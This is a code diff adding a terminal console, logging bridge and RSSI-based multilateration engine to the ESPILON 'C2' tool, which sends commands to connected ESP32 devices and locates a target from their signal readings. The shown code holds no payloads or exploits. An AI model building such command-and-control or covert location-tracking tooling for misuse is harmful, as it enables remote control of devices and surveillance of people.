global_log.clear()
|
||||
|
||||
def action_focus_input(self) -> None:
|
||||
self.query_one("#command-input", CommandInput).focus()
|
||||
|
||||
def action_tab_complete(self) -> None:
|
||||
cmd_input = self.query_one("#command-input", CommandInput)
|
||||
cmd_input.focus()
|
||||
cmd_input._handle_tab_completion()
|
||||
65
tools/c2/tui/bridge.py
Normal file
65
tools/c2/tui/bridge.py
Normal file
@ -0,0 +1,65 @@
|
||||
"""
|
||||
Thread-safe bridge between sync threads and async Textual TUI.
|
||||
"""
|
||||
import queue
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from enum import Enum
|
||||
from typing import Optional, Any
|
||||
|
||||
|
||||
class MessageType(Enum):
|
||||
DEVICE_CONNECTED = "device_connected"
|
||||
DEVICE_DISCONNECTED = "device_disconnected"
|
||||
DEVICE_RECONNECTED = "device_reconnected"
|
||||
DEVICE_INFO_UPDATED = "device_info_updated"
|
||||
DEVICE_EVENT = "device_event"
|
||||
COMMAND_SENT = "command_sent"
|
||||
COMMAND_RESPONSE = "command_response"
|
||||
SYSTEM_MESSAGE = "system_message"
|
||||
ERROR = "error"
|
||||
|
||||
|
||||
@dataclass
|
||||
class TUIMessage:
|
||||
"""Message from sync thread to async TUI."""
|
||||
msg_type: MessageType
|
||||
payload: str
|
||||
timestamp: float = field(default_factory=time.time)
|
||||
device_id: Optional[str] = None
|
||||
request_id: Optional[str] = None
|
||||
|
||||
|
||||
class TUIBridge:
|
||||
"""Thread-safe bridge between sync threads and async Textual app."""
|
||||
|
||||
def __init__(self):
|
||||
self._queue: queue.Queue[TUIMessage] = queue.Queue()
|
||||
self._app: Any = None
|
||||
|
||||
def set_app(self, app):
|
||||
"""Called by TUI app on startup."""
|
||||
self._app = app
|
||||
|
||||
def post_message(self, msg: TUIMessage):
|
||||
"""Called by sync threads (Display class)."""
|
||||
self._queue.put(msg)
|
||||
if self._app:
|
||||
try:
|
||||
self._app.call_from_thread(self._app.process_bridge_queue)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def get_pending_messages(self) -> list[TUIMessage]:
|
||||
"""Called by async TUI to drain the queue."""
|
||||
messages = []
|
||||
while True:
|
||||
try:
|
||||
messages.append(self._queue.get_nowait())
|
||||
except queue.Empty:
|
||||
break
|
||||
return messages
|
||||
|
||||
|
||||
# Global bridge instance
|
||||
tui_bridge = TUIBridge()
|
||||
119
tools/c2/tui/styles/c2.tcss
Normal file
119
tools/c2/tui/styles/c2.tcss
Normal file
@ -0,0 +1,119 @@
|
||||
/* C3PO TUI Stylesheet - Multi-device view */
|
||||
|
||||
Screen {
|
||||
background: $surface;
|
||||
}
|
||||
|
||||
/* Header/Tab bar */
|
||||
#tab-bar {
|
||||
height: 1;
|
||||
dock: top;
|
||||
background: $surface-darken-1;
|
||||
}
|
||||
|
||||
/* Main content area */
|
||||
#main-content {
|
||||
height: 1fr;
|
||||
}
|
||||
|
||||
/* Left panel: all devices stacked */
|
||||
#devices-panel {
|
||||
width: 1fr;
|
||||
min-width: 30;
|
||||
}
|
||||
|
||||
#no-device-placeholder {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
content-align: center middle;
|
||||
color: $text-muted;
|
||||
}
|
||||
|
||||
/* Right panel: global logs */
|
||||
#global-log-container {
|
||||
width: 1fr;
|
||||
min-width: 30;
|
||||
border: solid $primary;
|
||||
border-title-color: $text;
|
||||
border-title-style: bold;
|
||||
}
|
||||
|
||||
/* Input area */
|
||||
#input-container {
|
||||
height: 3;
|
||||
dock: bottom;
|
||||
background: $surface-darken-1;
|
||||
border-top: solid $primary;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
#command-input {
|
||||
width: 1fr;
|
||||
height: 1;
|
||||
margin: 0;
|
||||
padding: 0 1;
|
||||
}
|
||||
|
||||
#shortcuts-bar {
|
||||
height: 1;
|
||||
width: 100%;
|
||||
background: $surface-darken-2;
|
||||
color: $text-muted;
|
||||
padding: 0 1;
|
||||
}
|
||||
|
||||
/* Device containers - each device in its own bordered box */
|
||||
DeviceContainer {
|
||||
height: 1fr;
|
||||
min-height: 5;
|
||||
border: solid $secondary;
|
||||
border-title-color: $text;
|
||||
border-title-style: bold;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
/* Log pane inside device container */
|
||||
DeviceLogPane {
|
||||
height: 100%;
|
||||
scrollbar-size: 1 1;
|
||||
}
|
||||
|
||||
/* Global log pane */
|
||||
GlobalLogPane {
|
||||
height: 100%;
|
||||
scrollbar-size: 1 1;
|
||||
}
|
||||
|
||||
/* Log colors */
|
||||
.log-system {
|
||||
color: cyan;
|
||||
}
|
||||
|
||||
.log-device {
|
||||
color: yellow;
|
||||
}
|
||||
|
||||
.log-error {
|
||||
color: red;
|
||||
}
|
||||
|
||||
.log-command {
|
||||
color: blue;
|
||||
}
|
||||
|
||||
.log-response {
|
||||
color: green;
|
||||
}
|
||||
|
||||
/* Status indicator */
|
||||
.status-connected {
|
||||
color: green;
|
||||
}
|
||||
|
||||
.status-inactive {
|
||||
color: yellow;
|
||||
}
|
||||
|
||||
.status-disconnected {
|
||||
color: red;
|
||||
}
|
||||
5
tools/c2/tui/widgets/__init__.py
Normal file
5
tools/c2/tui/widgets/__init__.py
Normal file
@ -0,0 +1,5 @@
|
||||
from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane
|
||||
from tui.widgets.command_input import CommandInput
|
||||
from tui.widgets.device_tabs import DeviceTabs
|
||||
|
||||
__all__ = ["GlobalLogPane", "DeviceLogPane", "CommandInput", "DeviceTabs"]
|
||||
215
tools/c2/tui/widgets/command_input.py
Normal file
215
tools/c2/tui/widgets/command_input.py
Normal file
@ -0,0 +1,215 @@
|
||||
"""
|
||||
Command input widget with history and zsh-style tab completion.
|
||||
"""
|
||||
from textual.widgets import Input
|
||||
from textual.message import Message
|
||||
from typing import Callable, Optional
|
||||
|
||||
|
||||
class CommandInput(Input):
|
||||
"""Command input with history and zsh-style tab completion."""
|
||||
|
||||
DEFAULT_CSS = """
|
||||
CommandInput {
|
||||
dock: bottom;
|
||||
height: 1;
|
||||
border: none;
|
||||
background: $surface;
|
||||
padding: 0 1;
|
||||
}
|
||||
CommandInput:focus {
|
||||
border: none;
|
||||
}
|
||||
"""
|
||||
|
||||
class CommandSubmitted(Message):
|
||||
"""Posted when a command is submitted."""
|
||||
def __init__(self, command: str):
|
||||
self.command = command
|
||||
super().__init__()
|
||||
|
||||
class CompletionsAvailable(Message):
|
||||
"""Posted when multiple completions are available."""
|
||||
def __init__(self, completions: list[str], word: str):
|
||||
self.completions = completions
|
||||
self.word = word
|
||||
super().__init__()
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
super().__init__(
|
||||
placeholder="c2:> Type command here...",
|
||||
**kwargs
|
||||
)
|
||||
self._history: list[str] = []
|
||||
self._history_index: int = -1
|
||||
self._current_input: str = ""
|
||||
self._completer: Optional[Callable[[str, int], Optional[str]]] = None
|
||||
self._last_completion_text: str = ""
|
||||
self._last_completions: list[str] = []
|
||||
self._completion_cycle_index: int = 0
|
||||
|
||||
def set_completer(self, completer: Callable[[str, int], Optional[str]]):
|
||||
"""Set the tab completion function (same signature as readline completer)."""
|
||||
self._completer = completer
|
||||
|
||||
def on_key(self, event) -> None:
|
||||
"""Handle special keys for history and completion."""
|
||||
if event.key == "up":
|
||||
event.prevent_default()
|
||||
self._navigate_history(-1)
|
||||
elif event.key == "down":
|
||||
event.prevent_default()
|
||||
self._navigate_history(1)
|
||||
elif event.key == "tab":
|
||||
event.prevent_default()
|
||||
self._handle_tab_completion()
|
||||
|
||||
def _get_all_completions(self, word: str) -> list[str]:
|
||||
"""Get all possible completions for a word."""
|
||||
if not self._completer:
|
||||
return []
|
||||
|
||||
completions = []
|
||||
state = 0
|
||||
while True:
|
||||
completion = self._completer(word, state)
|
||||
if completion is None:
|
||||
break
|
||||
completions.append(completion)
|
||||
state += 1
|
||||
return completions
|
||||
|
||||
def _find_common_prefix(self, strings: list[str]) -> str:
|
||||
"""Find the longest common prefix among strings."""
|
||||
if not strings:
|
||||
return ""
|
||||
if len(strings) == 1:
|
||||
return strings[0]
|
||||
|
||||
prefix = strings[0]
|
||||
for s in strings[1:]:
|
||||
while not s.startswith(prefix):
|
||||
prefix = prefix[:-1]
|
||||
if not prefix:
|
||||
return ""
|
||||
return prefix
|
||||
|
||||
def _handle_tab_completion(self):
|
||||
"""Handle zsh-style tab completion."""
|
||||
if not self._completer:
|
||||
return
|
||||
|
||||
current_text = self.value
|
||||
cursor_pos = self.cursor_position
|
||||
|
||||
# Get the word being completed
|
||||
text_before_cursor = current_text[:cursor_pos]
|
||||
parts = text_before_cursor.split()
|
||||
|
||||
if not parts:
|
||||
word_to_complete = ""
|
||||
elif text_before_cursor.endswith(" "):
|
||||
word_to_complete = ""
|
||||
else:
|
||||
word_to_complete = parts[-1]
|
||||
|
||||
# Check if context changed (new completion session)
|
||||
context_changed = text_before_cursor != self._last_completion_text
|
||||
|
||||
if context_changed:
|
||||
# New completion session - get all completions
|
||||
self._last_completions = self._get_all_completions(word_to_complete)
|
||||
self._completion_cycle_index = 0
|
||||
self._last_completion_text = text_before_cursor
|
||||
|
||||
if not self._last_completions:
|
||||
# No completions
|
||||
return
|
||||
|
||||
if len(self._last_completions) == 1:
|
||||
# Single match - complete directly
|
||||
self._apply_completion(self._last_completions[0], word_to_complete, cursor_pos)
|
||||
self._last_completions = []
|
||||
return
|
||||
|
||||
# Multiple matches - complete to common prefix and show options
|
||||
common_prefix = self._find_common_prefix(self._last_completions)
|
||||
|
||||
if common_prefix and len(common_prefix) > len(word_to_complete):
|
||||
# Complete to common prefix
|
||||
self._apply_completion(common_prefix, word_to_complete, cursor_pos)
|
||||
|
||||
# Show all completions
|
||||
self.post_message(self.CompletionsAvailable(
|
||||
self._last_completions.copy(),
|
||||
word_to_complete
|
||||
))
|
||||
|
||||
else:
|
||||
# Same context - cycle through completions
|
||||
if not self._last_completions:
|
||||
return
|
||||
|
||||
# Get next completion in cycle
|
||||
completion = self._last_completions[self._completion_cycle_index]
|
||||
self._apply_completion(completion, word_to_complete, cursor_pos)
|
||||
|
||||
# Advance cycle
|
||||
self._completion_cycle_index = (self._completion_cycle_index + 1) % len(self._last_completions)
|
||||
|
||||
def _apply_completion(self, completion: str, word_to_complete: str, cursor_pos: int):
|
||||
"""Apply a completion to the input."""
|
||||
current_text = self.value
|
||||
text_before_cursor = current_text[:cursor_pos]
|
||||
|
||||
if word_to_complete:
|
||||
prefix = text_before_cursor[:-len(word_to_complete)]
|
||||
else:
|
||||
prefix = text_before_cursor
|
||||
|
||||
new_text = prefix + completion + current_text[cursor_pos:]
|
||||
new_cursor = len(prefix) + len(completion)
|
||||
|
||||
self.value = new_text
|
||||
self.cursor_position = new_cursor
|
||||
self._last_completion_text = new_text[:new_cursor]
|
||||
|
||||
def _navigate_history(self, direction: int):
|
||||
"""Navigate through command history."""
|
||||
if not self._history:
|
||||
return
|
||||
|
||||
if self._history_index == -1:
|
||||
self._current_input = self.value
|
||||
|
||||
new_index = self._history_index + direction
|
||||
|
||||
if new_index < -1:
|
||||
new_index = -1
|
||||
elif new_index >= len(self._history):
|
||||
new_index = len(self._history) - 1
|
||||
|
||||
self._history_index = new_index
|
||||
|
||||
if self._history_index == -1:
|
||||
self.value = self._current_input
|
||||
else:
|
||||
self.value = self._history[-(self._history_index + 1)]
|
||||
|
||||
self.cursor_position = len(self.value)
|
||||
|
||||
def action_submit(self) -> None:
|
||||
"""Submit the current command."""
|
||||
command = self.value.strip()
|
||||
if command:
|
||||
self._history.append(command)
|
||||
if len(self._history) > 100:
|
||||
self._history.pop(0)
|
||||
self.post_message(self.CommandSubmitted(command))
|
||||
|
||||
self.value = ""
|
||||
self._history_index = -1
|
||||
self._current_input = ""
|
||||
self._last_completions = []
|
||||
self._completion_cycle_index = 0
|
||||
self._last_completion_text = ""
|
||||
159
tools/c2/tui/widgets/device_tabs.py
Normal file
159
tools/c2/tui/widgets/device_tabs.py
Normal file
@ -0,0 +1,159 @@
|
||||
"""
|
||||
Dynamic device tabs widget.
|
||||
"""
|
||||
from textual.widgets import Static, Button
|
||||
from textual.containers import Horizontal
|
||||
from textual.message import Message
|
||||
from textual.reactive import reactive
|
||||
|
||||
|
||||
class DeviceTabs(Horizontal):
|
||||
"""Tab bar for device switching with dynamic updates."""
|
||||
|
||||
DEFAULT_CSS = """
|
||||
DeviceTabs {
|
||||
height: 1;
|
||||
width: 100%;
|
||||
background: $surface;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
DeviceTabs .tab-label {
|
||||
padding: 0 1;
|
||||
height: 1;
|
||||
min-width: 8;
|
||||
}
|
||||
|
||||
DeviceTabs .tab-label.active {
|
||||
background: $primary;
|
||||
color: $text;
|
||||
text-style: bold;
|
||||
}
|
||||
|
||||
DeviceTabs .tab-label:hover {
|
||||
background: $primary-darken-1;
|
||||
}
|
||||
|
||||
DeviceTabs .header-label {
|
||||
padding: 0 1;
|
||||
height: 1;
|
||||
color: $text-muted;
|
||||
}
|
||||
|
||||
DeviceTabs .separator {
|
||||
padding: 0;
|
||||
height: 1;
|
||||
color: $text-muted;
|
||||
}
|
||||
|
||||
DeviceTabs .device-count {
|
||||
dock: right;
|
||||
padding: 0 1;
|
||||
height: 1;
|
||||
color: $text-muted;
|
||||
}
|
||||
"""
|
||||
|
||||
active_tab: reactive[str] = reactive("global")
|
||||
devices_hidden: reactive[bool] = reactive(False)
|
||||
|
||||
class TabSelected(Message):
|
||||
"""Posted when a tab is selected."""
|
||||
def __init__(self, tab_id: str, device_id: str | None = None):
|
||||
self.tab_id = tab_id
|
||||
self.device_id = device_id
|
||||
super().__init__()
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
super().__init__(**kwargs)
|
||||
self._devices: list[str] = []
|
||||
|
||||
def compose(self):
|
||||
yield Static("C3PO", classes="header-label", id="c3po-label")
|
||||
yield Static(" \u2500 ", classes="separator")
|
||||
yield Static("[G]lobal", classes="tab-label active", id="tab-global")
|
||||
yield Static(" [H]ide", classes="tab-label", id="tab-hide")
|
||||
yield Static("", classes="device-count", id="device-count")
|
||||
|
||||
def add_device(self, device_id: str):
|
||||
"""Add a device tab."""
|
||||
if device_id not in self._devices:
|
||||
self._devices.append(device_id)
|
||||
self._rebuild_tabs()
|
||||
|
||||
def remove_device(self, device_id: str):
|
||||
"""Remove a device tab."""
|
||||
if device_id in self._devices:
|
||||
self._devices.remove(device_id)
|
||||
if self.active_tab == device_id:
|
||||
self.active_tab = "global"
|
||||
self._rebuild_tabs()
|
||||
|
||||
def _rebuild_tabs(self):
|
||||
"""Rebuild all tabs."""
|
||||
for widget in list(self.children):
|
||||
if hasattr(widget, 'id') and widget.id and widget.id.startswith("tab-device-"):
|
||||
widget.remove()
|
||||
|
||||
hide_tab = self.query_one("#tab-hide", Static)
|
||||
|
||||
for i, device_id in enumerate(self._devices):
|
||||
if i < 9:
|
||||
label = f"[{i+1}]{device_id}"
|
||||
tab = Static(
|
||||
label,
|
||||
classes="tab-label" + (" active" if self.active_tab == device_id else ""),
|
||||
id=f"tab-device-{device_id}"
|
||||
)
|
||||
self.mount(tab, before=hide_tab)
|
||||
|
||||
count_label = self.query_one("#device-count", Static)
|
||||
count_label.update(f"{len(self._devices)} device{'s' if len(self._devices) != 1 else ''}")
|
||||
|
||||
def select_tab(self, tab_id: str):
|
||||
"""Select a tab by ID."""
|
||||
if tab_id == "global":
|
||||
self.active_tab = "global"
|
||||
self.post_message(self.TabSelected("global"))
|
||||
elif tab_id in self._devices:
|
||||
self.active_tab = tab_id
|
||||
self.post_message(self.TabSelected(tab_id, tab_id))
|
||||
|
||||
self._update_active_styles()
|
||||
|
||||
def select_by_index(self, index: int):
|
||||
"""Select device tab by numeric index (1-9)."""
|
||||
if 0 < index <= len(self._devices):
|
||||
device_id = self._devices[index - 1]
|
||||
self.select_tab(device_id)
|
||||
|
||||
def toggle_hide(self):
|
||||
"""Toggle device panes visibility."""
|
||||
self.devices_hidden = not self.devices_hidden
|
||||
hide_tab = self.query_one("#tab-hide", Static)
|
||||
hide_tab.update("[H]ide" if not self.devices_hidden else "[H]show")
|
||||
|
||||
def _update_active_styles(self):
|
||||
"""Update tab styles to show active state."""
|
||||
for tab in self.query(".tab-label"):
|
||||
tab.remove_class("active")
|
||||
|
||||
if self.active_tab == "global":
|
||||
self.query_one("#tab-global", Static).add_class("active")
|
||||
else:
|
||||
try:
|
||||
self.query_one(f"#tab-device-{self.active_tab}", Static).add_class("active")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def on_click(self, event) -> None:
|
||||
"""Handle tab clicks."""
|
||||
target = event.target
|
||||
if hasattr(target, 'id') and target.id:
|
||||
if target.id == "tab-global":
|
||||
self.select_tab("global")
|
||||
elif target.id == "tab-hide":
|
||||
self.toggle_hide()
|
||||
elif target.id.startswith("tab-device-"):
|
||||
device_id = target.id.replace("tab-device-", "")
|
||||
self.select_tab(device_id)
|
||||
117
tools/c2/tui/widgets/log_pane.py
Normal file
117
tools/c2/tui/widgets/log_pane.py
Normal file
@ -0,0 +1,117 @@
|
||||
"""
|
||||
Log pane widgets for displaying device and global logs.
|
||||
"""
|
||||
from textual.widgets import RichLog
|
||||
from rich.text import Text
|
||||
|
||||
|
||||
class GlobalLogPane(RichLog):
|
||||
"""Combined log view for all devices and system messages."""
|
||||
|
||||
DEFAULT_CSS = """
|
||||
GlobalLogPane {
|
||||
border: solid $primary;
|
||||
height: 100%;
|
||||
scrollbar-size: 1 1;
|
||||
}
|
||||
"""
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
super().__init__(
|
||||
highlight=True,
|
||||
markup=True,
|
||||
wrap=True,
|
||||
max_lines=5000,
|
||||
**kwargs
|
||||
)
|
||||
|
||||
def add_system(self, timestamp: str, message: str):
|
||||
"""Add a system message."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
text.append("[SYS] ", style="cyan bold")
|
||||
text.append(message)
|
||||
self.write(text)
|
||||
|
||||
def add_device_event(self, timestamp: str, device_id: str, event: str):
|
||||
"""Add a device event."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
text.append(f"[{device_id}] ", style="yellow")
|
||||
text.append(event)
|
||||
self.write(text)
|
||||
|
||||
def add_command_sent(self, timestamp: str, device_id: str, command: str, request_id: str):
|
||||
"""Add a command sent message."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
text.append("[CMD] ", style="blue bold")
|
||||
text.append(f"{command} ", style="blue")
|
||||
text.append(f"-> {device_id}", style="dim")
|
||||
self.write(text)
|
||||
|
||||
def add_command_response(self, timestamp: str, device_id: str, response: str, request_id: str):
|
||||
"""Add a command response."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
text.append(f"[{device_id}] ", style="green")
|
||||
text.append(response, style="green")
|
||||
self.write(text)
|
||||
|
||||
def add_error(self, timestamp: str, message: str):
|
||||
"""Add an error message."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
text.append("[ERR] ", style="red bold")
|
||||
text.append(message, style="red")
|
||||
self.write(text)
|
||||
|
||||
|
||||
class DeviceLogPane(RichLog):
|
||||
"""Per-device log display with filtering."""
|
||||
|
||||
DEFAULT_CSS = """
|
||||
DeviceLogPane {
|
||||
height: 100%;
|
||||
scrollbar-size: 1 1;
|
||||
}
|
||||
"""
|
||||
|
||||
def __init__(self, device_id: str, **kwargs):
|
||||
super().__init__(
|
||||
highlight=True,
|
||||
markup=True,
|
||||
wrap=True,
|
||||
max_lines=2000,
|
||||
**kwargs
|
||||
)
|
||||
self.device_id = device_id
|
||||
|
||||
def add_event(self, timestamp: str, event: str, event_type: str = "info"):
|
||||
"""Add an event to this device's log."""
|
||||
text = Text()
|
||||
text.append(f"{timestamp} ", style="dim")
|
||||
|
||||
style_map = {
|
||||
"info": "yellow",
|
||||
"log": "white",
|
||||
"error": "red",
|
||||
"cmd_sent": "blue",
|
||||
"cmd_resp": "green",
|
||||
"data": "magenta",
|
||||
}
|
||||
style = style_map.get(event_type, "white")
|
||||
|
||||
prefix_map = {
|
||||
"info": "> INFO: ",
|
||||
"log": "> LOG: ",
|
||||
"error": "> ERROR: ",
|
||||
"cmd_sent": "> CMD: ",
|
||||
"cmd_resp": "> RESP: ",
|
||||
"data": "> DATA: ",
|
||||
}
|
||||
prefix = prefix_map.get(event_type, "> ")
|
||||
|
||||
text.append(prefix, style=f"{style} bold")
|
||||
text.append(event, style=style)
|
||||
self.write(text)
|
||||
@ -1,29 +1,115 @@
|
||||
import time
|
||||
from utils.constant import _color
|
||||
|
||||
# TUI bridge import (lazy to avoid circular imports)
|
||||
_tui_bridge = None
|
||||
|
||||
|
||||
def _get_bridge():
|
||||
global _tui_bridge
|
||||
if _tui_bridge is None:
|
||||
try:
|
||||
from tui.bridge import tui_bridge
|
||||
_tui_bridge = tui_bridge
|
||||
except ImportError:
|
||||
_tui_bridge = False
|
||||
return _tui_bridge if _tui_bridge else None
|
||||
|
||||
|
||||
class Display:
|
||||
_tui_mode = False
|
||||
|
||||
@classmethod
|
||||
def enable_tui_mode(cls):
|
||||
"""Enable TUI mode - routes output to TUI bridge instead of print."""
|
||||
cls._tui_mode = True
|
||||
|
||||
@classmethod
|
||||
def disable_tui_mode(cls):
|
||||
"""Disable TUI mode - back to print output."""
|
||||
cls._tui_mode = False
|
||||
|
||||
@staticmethod
|
||||
def _timestamp() -> str:
|
||||
return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
|
||||
|
||||
@staticmethod
|
||||
def system_message(message: str):
|
||||
if Display._tui_mode:
|
||||
bridge = _get_bridge()
|
||||
if bridge:
|
||||
from tui.bridge import TUIMessage, MessageType
|
||||
bridge.post_message(TUIMessage(
|
||||
msg_type=MessageType.SYSTEM_MESSAGE,
|
||||
payload=message
|
||||
))
|
||||
return
|
||||
print(f"{Display._timestamp()} {_color('CYAN')}[SYSTEM]{_color('RESET')} {message}")
|
||||
|
||||
@staticmethod
|
||||
def device_event(device_id: str, event: str):
|
||||
if Display._tui_mode:
|
||||
bridge = _get_bridge()
|
||||
if bridge:
|
||||
from tui.bridge import TUIMessage, MessageType
|
||||
# Detect special events
|
||||
if "Connected from" in event:
|
||||
msg_type = MessageType.DEVICE_CONNECTED
|
||||
elif "Reconnected from" in event:
|
||||
msg_type = MessageType.DEVICE_RECONNECTED
|
||||
elif event == "Disconnected":
|
||||
msg_type = MessageType.DEVICE_DISCONNECTED
|
||||
else:
|
||||
msg_type = MessageType.DEVICE_EVENT
|
||||
bridge.post_message(TUIMessage(
|
||||
msg_type=msg_type,
|
||||
device_id=device_id,
|
||||
payload=event
|
||||
))
|
||||
return
|
||||
print(f"{Display._timestamp()} {_color('YELLOW')}[DEVICE:{device_id}]{_color('RESET')} {event}")
|
||||
|
||||
@staticmethod
|
||||
def command_sent(device_id: str, command_name: str, request_id: str):
|
||||
if Display._tui_mode:
|
||||
bridge = _get_bridge()
|
||||
if bridge:
|
||||
from tui.bridge import TUIMessage, MessageType
|
||||
bridge.post_message(TUIMessage(
|
||||
msg_type=MessageType.COMMAND_SENT,
|
||||
device_id=device_id,
|
||||
payload=command_name,
|
||||
request_id=request_id
|
||||
))
|
||||
return
|
||||
print(f"{Display._timestamp()} {_color('BLUE')}[CMD_SENT:{request_id}]{_color('RESET')} To {device_id}: {command_name}")
|
||||
|
||||
@staticmethod
|
||||
def command_response(request_id: str, device_id: str, response: str):
|
||||
if Display._tui_mode:
|
||||
bridge = _get_bridge()
|
||||
if bridge:
|
||||
from tui.bridge import TUIMessage, MessageType
|
||||
bridge.post_message(TUIMessage(
|
||||
msg_type=MessageType.COMMAND_RESPONSE,
|
||||
device_id=device_id,
|
||||
payload=response,
|
||||
request_id=request_id
|
||||
))
|
||||
return
|
||||
print(f"{Display._timestamp()} {_color('GREEN')}[CMD_RESP:{request_id}]{_color('RESET')} From {device_id}: {response}")
|
||||
|
||||
@staticmethod
|
||||
def error(message: str):
|
||||
if Display._tui_mode:
|
||||
bridge = _get_bridge()
|
||||
if bridge:
|
||||
from tui.bridge import TUIMessage, MessageType
|
||||
bridge.post_message(TUIMessage(
|
||||
msg_type=MessageType.ERROR,
|
||||
payload=message
|
||||
))
|
||||
return
|
||||
print(f"{Display._timestamp()} {_color('RED')}[ERROR]{_color('RESET')} {message}")
|
||||
|
||||
@staticmethod
|
||||
|
||||
6
tools/c2/web/__init__.py
Normal file
6
tools/c2/web/__init__.py
Normal file
@ -0,0 +1,6 @@
|
||||
"""Unified web server module for ESPILON C2."""
|
||||
|
||||
from .server import UnifiedWebServer
|
||||
from .mlat import MlatEngine
|
||||
|
||||
__all__ = ["UnifiedWebServer", "MlatEngine"]
|
||||
429
tools/c2/web/mlat.py
Normal file
429
tools/c2/web/mlat.py
Normal file
@ -0,0 +1,429 @@
|
||||
"""MLAT (Multilateration) engine for device positioning with GPS support."""
|
||||
|
||||
import time
|
||||
import re
|
||||
import math
|
||||
from typing import Optional, Tuple
|
||||
import numpy as np
|
||||
from scipy.optimize import minimize
|
||||
|
||||
|
||||
class MlatEngine:
|
||||
"""
|
||||
Calculates target position from multiple scanner RSSI readings.
|
||||
|
||||
Supports both:
|
||||
- GPS coordinates (lat, lon) for outdoor tracking
|
||||
- Local coordinates (x, y in meters) for indoor tracking
|
||||
|
||||
Uses the log-distance path loss model to convert RSSI to distance,
|
||||
then weighted least squares optimization for position estimation.
|
||||
"""
|
||||
|
||||
# Earth radius in meters (for GPS calculations)
|
||||
EARTH_RADIUS = 6371000
|
||||
|
||||
def __init__(self, rssi_at_1m: float = -40, path_loss_n: float = 2.5, smoothing_window: int = 5):
|
||||
"""
|
||||
Initialize the MLAT engine.
|
||||
|
||||
Args:
|
||||
rssi_at_1m: RSSI value at 1 meter distance (calibration, typically -40 to -50)
|
||||
path_loss_n: Path loss exponent (2.0 free space, 2.5-3.5 indoors)
|
||||
smoothing_window: Number of readings to average for noise reduction
|
||||
"""
|
||||
self.rssi_at_1m = rssi_at_1m
|
||||
self.path_loss_n = path_loss_n
|
||||
self.smoothing_window = smoothing_window
|
||||
|
||||
# Scanner data: {scanner_id: {"position": {"lat": x, "lon": y} or {"x": x, "y": y}, ...}}
|
||||
self.scanners: dict = {}
|
||||
|
||||
# Last calculated target position
|
||||
self._last_target: Optional[dict] = None
|
||||
self._last_calculation: float = 0
|
||||
|
||||
# Coordinate mode: 'gps' or 'local'
|
||||
self._coord_mode = 'gps'
|
||||
|
||||
@staticmethod
|
||||
def haversine_distance(lat1: float, lon1: float, lat2: float, lon2: float) -> float:
|
||||
"""
|
||||
Calculate distance between two GPS points using Haversine formula.
|
||||
|
||||
Args:
|
||||
lat1, lon1: First point (degrees)
|
||||
lat2, lon2: Second point (degrees)
|
||||
|
||||
Returns:
|
||||
Distance in meters
|
||||
"""
|
||||
lat1_rad = math.radians(lat1)
|
||||
lat2_rad = math.radians(lat2)
|
||||
delta_lat = math.radians(lat2 - lat1)
|
||||
delta_lon = math.radians(lon2 - lon1)
|
||||
|
||||
a = (math.sin(delta_lat / 2) ** 2 +
|
||||
math.cos(lat1_rad) * math.cos(lat2_rad) * math.sin(delta_lon / 2) ** 2)
|
||||
c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a))
|
||||
|
||||
return MlatEngine.EARTH_RADIUS * c
|
||||
|
||||
@staticmethod
|
||||
def meters_to_degrees(meters: float, latitude: float) -> Tuple[float, float]:
|
||||
"""
|
||||
Convert meters to approximate degrees at a given latitude.
|
||||
|
||||
Args:
|
||||
meters: Distance in meters
|
||||
latitude: Reference latitude (for longitude scaling)
|
||||
|
||||
Returns:
|
||||
(delta_lat, delta_lon) in degrees
|
||||
"""
|
||||
delta_lat = meters / 111320 # ~111.32 km per degree latitude
|
||||
delta_lon = meters / (111320 * math.cos(math.radians(latitude)))
|
||||
return delta_lat, delta_lon
|
||||
|
||||
def parse_mlat_message(self, scanner_id: str, message: str) -> bool:
|
||||
"""
|
||||
Parse MLAT message from ESP32 device.
|
||||
|
||||
New format with coordinate type prefix:
|
||||
MLAT:G;<lat>;<lon>;<rssi> - GPS coordinates
|
||||
MLAT:L;<x>;<y>;<rssi> - Local coordinates (meters)
|
||||
|
||||
Legacy format (backward compatible):
|
||||
MLAT:<lat>;<lon>;<rssi> - Treated as GPS
|
||||
|
||||
Args:
|
||||
scanner_id: Device ID that sent the message
|
||||
message: Raw message content (without MLAT: prefix)
|
||||
|
||||
Returns:
|
||||
True if successfully parsed, False otherwise
|
||||
"""
|
||||
# New format with type prefix: G;lat;lon;rssi or L;x;y;rssi
|
||||
pattern_new = re.compile(r'^([GL]);([0-9.+-]+);([0-9.+-]+);(-?\d+)$')
|
||||
match = pattern_new.match(message)
|
||||
|
||||
if match:
|
||||
coord_type = match.group(1)
|
||||
c1 = float(match.group(2))
|
||||
c2 = float(match.group(3))
|
||||
rssi = int(match.group(4))
|
||||
|
||||
if coord_type == 'G':
|
||||
self.add_reading_gps(scanner_id, c1, c2, rssi)
|
||||
else: # 'L' - local
|
||||
self.add_reading(scanner_id, c1, c2, rssi)
|
||||
return True
|
||||
|
||||
# Legacy format: lat;lon;rssi (backward compatible - treat as GPS)
|
||||
pattern_legacy = re.compile(r'^([0-9.+-]+);([0-9.+-]+);(-?\d+)$')
|
||||
match = pattern_legacy.match(message)
|
||||
|
||||
if match:
|
||||
lat = float(match.group(1))
|
||||
lon = float(match.group(2))
|
||||
rssi = int(match.group(3))
|
||||
self.add_reading_gps(scanner_id, lat, lon, rssi)
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def parse_data(self, raw_data: str) -> int:
|
||||
"""
